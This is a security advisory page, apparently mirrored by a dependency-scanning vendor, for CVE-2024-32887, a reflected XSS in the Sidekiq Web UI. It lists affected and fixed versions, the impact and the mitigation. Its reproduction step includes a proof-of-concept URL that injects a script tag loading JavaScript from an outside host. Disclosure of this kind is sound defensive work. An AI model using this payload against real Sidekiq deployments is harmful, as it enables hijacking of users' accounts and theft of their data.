MediumGHSA-q655-3pj8-9fxqCVE-2024-32887

Sidekiq vulnerable to a Reflected XSS in Queues Web Page

Published 26 Apr 2024 · Updated 8 Jun 2026

Is your project on an affected sidekiq?

Private repo? Upload its lockfile instead, or connect GitHub to check every repo.

Look after several Rails or Ruby apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Affected package

sidekiqRubyGems
Affected
>=7.2.0 <7.2.4
Fixed in
7.2.4
Update to the fixed version for your release line, for example:bundle update --conservative sidekiq # Gemfile: '>= 7.2.4'

Details

Description:

During the source Code Review of the metrics.erb view of the Sidekiq Web UI, A reflected XSS vulnerability is discovered. The value of substr parameter is reflected in the response without any encoding, allowing an attacker to inject Javascript code into the response of the application.

This vulnerability can be exploited to target the users of the application, and users of other applications deployed on the same domain or website as that of the Sidekiq website. Successful exploit results may result in compromise of user accounts and user data.

Impact:

The impact of this vulnerability can be severe. An attacker could exploit it to target users of the Sidekiq Web UI. Moreover, if other applications are deployed on the same domain or website as Sidekiq, users of those applications could also be affected, leading to a broader scope of compromise. Potentially compromising their accounts, forcing the users to perform sensitive actions, stealing sensitive data, performing CORS attacks, defacement of the web application, etc.

Mitigation:

Encode all output data before rendering it in the response to prevent XSS attacks.

Steps to Reproduce:

1. Go to the following URL of the sidekiq Web UI: https://{host}/sidekiq/metrics?substr=beret%22%3E%3Cscript%20src=%22https://cheemahq.vercel.app/a.js%22%20/%3E 2. XSS payload will be executed, causing a popup.

Evidence:

!image Figure 1: Source Code Vulnerable to XSS

!image Figure 2: XSS payload triggered

Is GHSA-q655-3pj8-9fxq in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected sidekiq, and gives you the command that fixes it.

More advisories for sidekiq

  • MediumCVE-2023-26141sidekiq Denial of Service vulnerability · 14 Sept 2023
  • HighCVE-2023-1892sidekiq vulnerable to cross-site scripting · 21 Apr 2023
  • HighCVE-2022-23837Denial of service in sidekiq · 27 Jan 2022
  • MediumCVE-2021-30151Cross-site Scripting in Sidekiq · 6 Oct 2021
sidekiq security overview

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.